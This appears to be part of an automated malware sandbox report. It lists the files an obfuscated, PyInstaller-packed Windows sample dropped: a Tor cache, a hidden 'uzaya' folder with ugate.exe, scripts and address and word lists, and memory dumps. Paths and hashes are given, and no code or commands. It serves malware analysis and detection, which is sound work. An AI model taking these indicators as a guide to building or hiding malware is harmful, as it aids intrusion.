SSDEEP 98304:/V+Qs2NuR5YV0L8PQ1CPwDvt3uFlDC4SC9c:9rs2NuDYV0L841CPwDvt3uFlDC4SCa
TLSH
T11A367B6AA7A80189E4BAC13CC9534617D2B1F81A17B097CF19A1967D0F37FDA2B3D740
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libffi-8.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\libffi-8.dll
Size 38KB
SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
MD5 0f8e4992ca92baaf54cc0b43aaccce21
SHA1 c7300975df267b1d6adcbac0ac93fd7b1ab49bd2
SHA512 6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978
SSDEEP 768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
TLSH
T10B037C0B458418A4E657D53D97A64A2AC335B9240B60F2CB03D4C2BA3F6B7D6FB7C358
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_psutil_windows.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\psutil\_psutil_windows.pyd
Size 69KB
SHA256 0035450801bd7d938e9e146c5ec28e619cb5a5f4a18cdc53ac7e9734c7f94f78
MD5 0a66d22d2ac4f9d41e1605b8d05de77b
SHA1 062de44628065f96d8137a2f04d1a88cc560b56b
SHA512 aa246c8d757a5be47e529889376faf9c94a5e377b20b418c4c7fa83e00c01060b01a887ebc662ab7bd42a6dac53abaac3a41b48b6a6f336d798c2ae782f80b5a
SSDEEP 768:axgqyAz7MqVIiOSzTVCeur2wTljgUd+mZnJGL0kKoPVMDw4xulnFn9mcBQ3S3X/:uZzwq2+SBRJdpZnJbPoPVM04YnUjHmC
TLSH
T121631895B35900F8C91B913D9EB26A37E7B2B091132657CF0160D68A0FA3BD36E7DB41
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pyarmor_runtime.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\pyarmor_runtime_000000\pyarmor_runtime.pyd
Size 625KB
SHA256 87c972a152456d5dcbf41a9c84cee1c7fa2e43193c2e26c9eb7b8c368ff56c8f
MD5 58b68f411815f13e6acbd9c81d4adfd3
SHA1 f1f79e98f39debf205b6a1e82f57abddb387d029
SHA512 f8ab752901e5c875e8832192eca09c64bddbd9dc1ed87a8549ebb2cc2de5a8439325e64450c7db9ace2287e8628573bb65899d6676f16e33165af2edf83ec736
SSDEEP 12288:a9Vtet7AtRTshSvnctjdcg7fUoPtuyOVnE8CaEUk:a9fQoctjdcg7fUoPtuyOVntSU
TLSH
T134D4294BE1FA29D0E6B6D17C078BF2337C3ABA488160775B755CD3A127D0A5212E5F22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python3.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\python3.dll
Size 68KB
SHA256 a5c6a329698490a035133433928d04368ce6285bb91a9d074fc285de4c9a32a4
MD5 16855ebef31c5b1ebe767f1c617645b3
SHA1 315521f3a748abfa35cd4d48e8dd09d0556d989b
SHA512 c3957b3bd36b10c7ad6ea1ff3bc7bd65cdceb3e6b4195a25d0649aa0da179276ce170da903d77b50a38fc3d5147a45be32dbcfdbfbf76cc46301199c529adea4
SSDEEP 768:pQEotsskOv6pWVCB4p/uKlZPRQcFIc9qunV0Jku/YFI1Hu1wEBbCpVNyD6VdPxiD:/otssyKcunV8PjZIJy0i7SyWH1
TLSH
T14B635CD26B57F8A2D6F669FC38DD99CD142B12CC83258DDFA57893920F1A310A22734D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python313.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\python313.dll
Size 5.8MB
SHA256 0c0a66505093b6a4bb3475f716bd3d9552095776f6a124709c13b3f9552c7d99
MD5 b9de917b925dd246b709bb4233777efd
SHA1 775f258d8b530c6ea9f0dd3d1d0b61c1948c25d2
SHA512 f4bf3398f50fdd3ab7e3f02c1f940b4c8b5650ed7af16c626ccd1b934053ba73a35f96da03b349c1eb614bb23e0bc6b5cc58b07b7553a5c93c6d23124f324a33
SSDEEP 49152:fXGc3O7T4DKX+vLFMmKYxiAYNBD987KdJlI9HbeX2jrgQcw6Zc4h67mM+XDQ3bLi:Of42zJiwJl/YF7v3vaHDMiEN3Kr
TLSH
T1E9568D16729D40ADC97B8078CA038A4BF7B27C417F60534B61A6BB5E2F733624B6E705
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

select.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\select.pyd
Size 30KB
SHA256 78e5994c29d8851f28b5b12d59d742d876683aea58eceea1fb895b2036cdcdeb
MD5 20831703486869b470006941b4d996f2
SHA1 28851dfd43706542cd3ef1b88b5e2749562dfee0
SHA512 4aaf5d66d2b73f939b9a91e7eddfeb2ce2476c625586ef227b312230414c064aa850b02a4028363aa4664408c9510594754530a6d026a0a84be0168d677c1bc4
SSDEEP 384:7hhxm9tKLhuoNHfzzlvFy0ZZIJ9GckHQIYiSy1pCQ4HWSJIVE8E9VF0Ny6sC:tCytHf98uZIJ9Gx5YiSyvy2ES
TLSH
T1A7D28E47AF605846D923C972A8E28F26ED35B752875082CF3268C15D0F627C27B7B3E5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

unicodedata.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\unicodedata.pyd
Size 693KB
SHA256 2693c7ee4fba55dc548f641c0cb94485d0e18596ffef16541bd43a5104c28b20
MD5 0902d299a2a487a7b0c2d75862b13640
SHA1 04bcbd5a11861a03a0d323a8050a677c3a88be13
SHA512 8cbef5a9f2d24da1014f8f1ccbddd997a084a0b04dd56bcb6ac38ddb636d05ef7e4ea7f67a085363aad3f43d45413914e55bdef14a662e80be955e6dfc2feca3
SSDEEP 12288:FYGdLI/X77mvfldCKGihH32W3cnPSqrUgLIe:FYGW7qNxr3cnPXLIe
TLSH
T1F9E4F6D5BBCF8D26E69B363A48E3710F5171C2735F0A863BB2182361D85B3B449D582E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_lpdcxbe2.pek.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lpdcxbe2.pek.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

cfile

Path C:\Users\Admin\AppData\Local\Temp\cfile
Size 19B
SHA256 48f1d771d205630bb4622263b647c477ddb5a28dbe70f0cbf163cbcbd294ddc7
MD5 e345d4bfc0812f279f5f044efcddb1e0
SHA1 ab935dc3bac4337000dd8cb8bc613d90a04d4da5
SHA512 74fcccd15cfe23f34a8c92052b802364956829048c1c8a78c5d445bd49593ef1cf6267de8c9bf76830a32b12b797c013cb66043b2b3154593fb8a1a4cedbaa30
MD5 SHA1 SHA512

Submit Download

cached-certs

Path C:\Users\Admin\AppData\Roaming\tor\cached-certs
Size 20KB
SHA256 a4c01c36530b38bb729b18b804978e7e85c6afa773ee6a90671169bd8b95fe94
MD5 63d850d43da8587961bf497133d733ec
SHA1 0d25a0e250e5cd4142234bf66f6e67f36ba9f8c9
SHA512 88500e69316f919198fcd35ba1dfd19747af99435640cc209a1e2c3958e569fb4fe625144d1bcfd07ad16844a7063a4036c00c163a2a5457923bb7454c913e07
SSDEEP 384:J2q4gwVej1hwAX8GMY4uXVshKf1hCmM6M18P4XcVFg1hNxU4DWVsZg1hDOKkd24k:TJwiUA5BOWtMTOxDg5+OWsgtI2fdBnY+
TLSH
T1D9926C620D40FDF8140AC728EC5B42CED727629B16B63C5602E7209BBD72ABB534F539
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cached-microdesc-consensus

Path C:\Users\Admin\AppData\Roaming\tor\cached-microdesc-consensus
Size 3.4MB
SHA256 b7a72459ad5bc3d947b360868b1bd1fc84202d8cc188e1bd70562ad30afa85f9
MD5 c823d6ad7c7288c5fce1e226831d2685
SHA1 a52b899448fd4a4de51d4bbcb13f2c0a7b50d534
SHA512 ff84c4ff84d864dcafb38bc987ff3bf6d1227e9be9bcfc5dea6e272ed1dc490e843ea37e241300065a3c7b772729a6ec5f8ca09d1ebcb94c54bde1ff1a9838c0
SSDEEP 12288:ql9xRG12/BDJY3o735YDYjJ807m0sVIUrCHZytM1tZasTjA8RUVzLeYdo9DY0pKZ:71CBD+fEjCgmY9HaM1t1Tjdc3qgEi7
TLSH
T1F9F554EA97124EEED22609DBE510FB7BF33F2725C2486B94296F8CFA7205091751093D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cached-microdescs.new

Path C:\Users\Admin\AppData\Roaming\tor\cached-microdescs.new
Size 11.8MB
SHA256 2ec3b8f05ed4af75826b750f92853e8251a3a137ff8a430c1b4c73bc104cac79
MD5 850d083ebae380cfe6045f45e80777b5
SHA1 55f0d9ca0d385546d08f2685ec8f6fc774468d35
SHA512 13afe4a1fa42effe4d41f95550d8270f26b243b6d2432424a28c4890cc2b1b15d038233755531b344d872ccbe909185ac1979d1a40bb753e0728a698936f6448
SSDEEP 24576:HMEHVqEpVl+6VZJCVUWVLdVZGVNIupV/ZVUV59OVbZCZUVRVqoVXVNVGkV/VIN17:6YVc7n
TLSH
T1E3C6AEDA89AB00C15E05E7CDDC1603C3DF148A3A4B6041A172AAF6777F3329F855EA79
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cached-microdescs.new

Path C:\Users\Admin\AppData\Roaming\tor\cached-microdescs.new
Size 36.7MB
SHA256 32016b8a97352f9675041c967c958a654c1237618c724b0556843357a608e1f1
MD5 96a76ddddff0bacb7618992fa715ced4
SHA1 c2d454b8adcbcfa83c5bc523614cb5bb9713bd55
SHA512 20eeca405618f3d1fcdc1519ae45eea4eb68ea12522160e507f569de3fb35b65b2faea2507aadfde3374eece2823b6e3ca4f69aa900e89d62acd62dba1a0c510
SSDEEP 24576:HMEHVqEpVl+6VZJCVUWVLdVZGVNIupV/ZVUV59OVbZCZUVRVqoVXVNVGkV/VIN1d:6YVc7h8e+8iUA/ufdaZrXi8/RYvuW0uR
TLSH
T1F287AEDA89AB00C15E05A7CDDC1603C3DF144A3E4B6041A172AAF9777F332AF855EA79
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

state

Path C:\Users\Admin\AppData\Roaming\tor\state
Size 3KB
SHA256 6e81e2a149bdccdbae2a41c1d7bc9c2e4b0f0df8934263982bdcb2a41253bef1
MD5 dfd17639f72939314dbc3bf497e67029
SHA1 41d1cb65561d7ebdc3760ac5afa3ea30f06c5cb3
SHA512 4d0b295af8ece79ea7f5d7529c905c5ae70e103bf66d6a49eda4532caaead5afbe3bfd27c6fe8bdefdd6f5cacfe9d4523130ccce74ae4507909285687420fa97
TLSH
T12C81FFBEF458928745E399B6C1093B80FC80FE5B02F176727E9A0B8E4155856BBE437C
MD5 SHA1 SHA512 TLSH

Submit Download

GUID

Path C:\Users\Public\Documents\uzaya\GUID
Size 13B
SHA256 71b678a8ead0308c18abc5bdc54136fa80a778ea399d85ab0cf222740c4d0c8a
MD5 e12d8e594fb8d4d6958aa3d6c12cbf73
SHA1 d7e63c964fd97f40b98f7a4dc1aa2840e23faae3
SHA512 b7bef173f63253c1f971a0c8aa2baa2e437acbfbb41aaf4b07e1d1ffca22c240040c2aed7ebd1a4d270cc274b0c91938ec9eaf9d01e100c4a8c48e870c6271cf
MD5 SHA1 SHA512

Submit Download

addrs.txt

Path C:\Users\Public\Documents\uzaya\addrs.txt
Size 1.4MB
SHA256 9de315d175129958a383e63d31807d9a18c6799b3b951d254514440474820c12
MD5 b13217f3e7f63d23fd5def0734b95066
SHA1 eabd229940a8e05162ac111bf3f35cb4d90425f1
SHA512 51806ad13860a5078f68caa5132d42ff6d591e5f816f41bd0d92c2ea66fe50a75cae48c0b4f0c4a179f7a4a4e5594e97d68e43e1d60d0c652080021ded894d0a
SSDEEP 24576:/SPnmU2UBGNqozEiMuE3GDwmU3n044vlsm1x+0ef:VRxdaeV44dsma
TLSH
T13B6502BCF21DDB890D295EEEF225EDC723B931C11911025EC3EC956236BC42BA9C9497
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ocafa.js

Path C:\Users\Public\Documents\uzaya\ocafa.js
Size 51KB
SHA256 ec35097f12a2438b5cd17e87d7957a30ed4397906a6b76f6c4bb735bb3457851
MD5 6eb83219bc884dbd975a7a4eb1d21bb4
SHA1 d5254e6e5d11153558898364f52b86c8af987c53
SHA512 b240bc498fe2c1d153c9dd0c947ba0af48c6f3f0d432da8d05e65647478144267aa58efc905e601049893712076974b7f3d35d39ea0de92ef7266bcf02da26a0
SSDEEP 1536:UbYY0D8LoonSj3nJBQr48F5BLZrdkQfQ09oM4b:yYYu8LU3JBeR5JdT1aM4
TLSH
T17F338DA1A740AE78DF8D39B2D5E0526042EC2C6308C4D76D3F46662199CECE7F9CD53A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ocafa.xml

Path C:\Users\Public\Documents\uzaya\ocafa.xml
Size 3KB
SHA256 bb6c1575e7e73d6e1b07d6748eee6bbc32ddeed2be2a1829c2900240a8873dfd
MD5 5adad9f005cee6eb8c244dbd97ca66d8
SHA1 fca6ef8eca4303723fc59469aea385559a4fe258
SHA512 9bbd84c1f8c78d8eb80093787c699e19393cf4fbc5e5fca494894d53956c9617ad9c28f7475558f081645a62da259bbf1b6912f2fc5a2c32a7b8383a5dc11843
TLSH
T11B715A53A7EE1119F2F36B2CAEB710618E677D555A38C46D00AC240DCBF3E6289607B7
MD5 SHA1 SHA512 TLSH

Submit Download

ufino.js

Path C:\Users\Public\Documents\uzaya\ufino.js
Size 32KB
SHA256 884e659a48fde8d06f389d1d07a5e987dd42055e444a8c9acb362cc16a3a6d21
MD5 0a4a61ab87f4d702555bafa814d41e70
SHA1 dc6f1a30760c34243d648a10e10a827fb07b4d09
SHA512 a221c9a9581623fbe82807f7836a695e93e1bffbae6983700289870ee23cd132e66eb0fd246a053d049de8fc2339a00e91af554dc6386bce57bc66ccacc936d7
SSDEEP 768:PNX8WV+THAr6mfHOg9bg3JWJPQPrgA/QCckjizIIOjbtWMNs0tt:PNzArI6mfug9YJKeBYCEVMKY
TLSH
T18CE29F02ADD4CAEB57C67AFABD32C8E1CE9CA49704D5400E23EC965C7CD9C5F64662B0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ufino.xml

Path C:\Users\Public\Documents\uzaya\ufino.xml
Size 3KB
SHA256 5cbfa3e18446434aa15a3ed44d636c5e8f2c05c77916a4383692e6223b5c5064
MD5 a9df84825ebc6524d52dcf1fcbb242f5
SHA1 2da179efd1dfedcf904983d682ed2495e37adff9
SHA512 0d53c6d1981c17279619e7734d7f73d47c662feb06c0bbced3618cc092346e40fb95945a0c54bf37030bd48d2bd3c3e89a30232fb6c7d91fdd73804540aa84df
TLSH
T1D871395367EE1119F2F36B2CAEB710618E677D555A38C46D00AC240DCBF3E6285607B7
MD5 SHA1 SHA512 TLSH

Submit Download

ugate.exe

Path C:\Users\Public\Documents\uzaya\ugate.exe
Size 8.6MB
SHA256 6b866c187a0dee2fb751a8990d50dc1ed83f68e025720081e4d8e27097067dc8
MD5 5d132fb6ec6fac12f01687f2c0375353
SHA1 8a14c93548156a67789a7da7f6dd4ea0ca91519e
SHA512 2d228d08abf30d9480b718c84fa007c477adb02b051b6c26407742e496163434ce891af6a2448ff7e063fe05a8325fe624beab472a62bccf418d3ae96dae6d56
SSDEEP 98304:wdv+gCCDJQT3poOlGzu4Y+x0/44wBc1RdhqwJglPtUCGGEW1:gKC+TtIOw21RdYUzps
TLSH
T10B960B03E63261DEC5FAC139952A7323F8B03CDD8A35E767455093A22B74B64AE3DB14
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

words.txt

Path C:\Users\Public\Documents\uzaya\words.txt
Size 14KB
SHA256 d2bd2aeb50ac5df60c1eb10afcec2b680d5a8a9f2bbc74a15c45bf3525528334
MD5 51ca2264f5b3ad532a4d6dae175e1750
SHA1 3dc996beb38928c70fca66658c46b00092ae6532
SHA512 6c169854acd97daf85ebfbefb78ae9b1ce249e8c6a79c7eaa42bcf6c546e6e14bae25bbe989b2e2d07d9ba92a69908b320534b0b97e5ba305bd783273e8d1e55
SSDEEP 384:p05yXB6/x5qa8cmytcR8D6a0meg4bkTc3Nx:p05Vx5qa/mytcR8D6Geg4bkT2
TLSH
T1D462843E928290DA9EAE6BC5C0043097F22D50525F47350966CB6AED304EE7CFB09F72
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1548-210-0x0000029E225E0000-0x0000029E226E0000-memory.dmp

Download

memory/2952-61-0x0000024B7ECC0000-0x0000024B7ECD0000-memory.dmp

Download

memory/2952-63-0x0000024B7EC80000-0x0000024B7ECA2000-memory.dmp

Download

memory/2952-62-0x0000024B7ECC0000-0x0000024B7ECD0000-memory.dmp

Download

memory/4048-150-0x00007FF618FB0000-0x00007FF618FE2000-memory.dmp

Download

memory/4048-83-0x00007FF618FB0000-0x00007FF618FE2000-memory.dmp

Download

memory/5116-149-0x0000000070180000-0x000000007022B000-memory.dmp

Download

memory/5116-148-0x00007FF618FB0000-0x00007FF618FE2000-memory.dmp

Download

memory/5116-103-0x0000000070180000-0x000000007022B000-memory.dmp

Download

memory/5116-102-0x00007FF618FB0000-0x00007FF618FE2000-memory.dmp

Download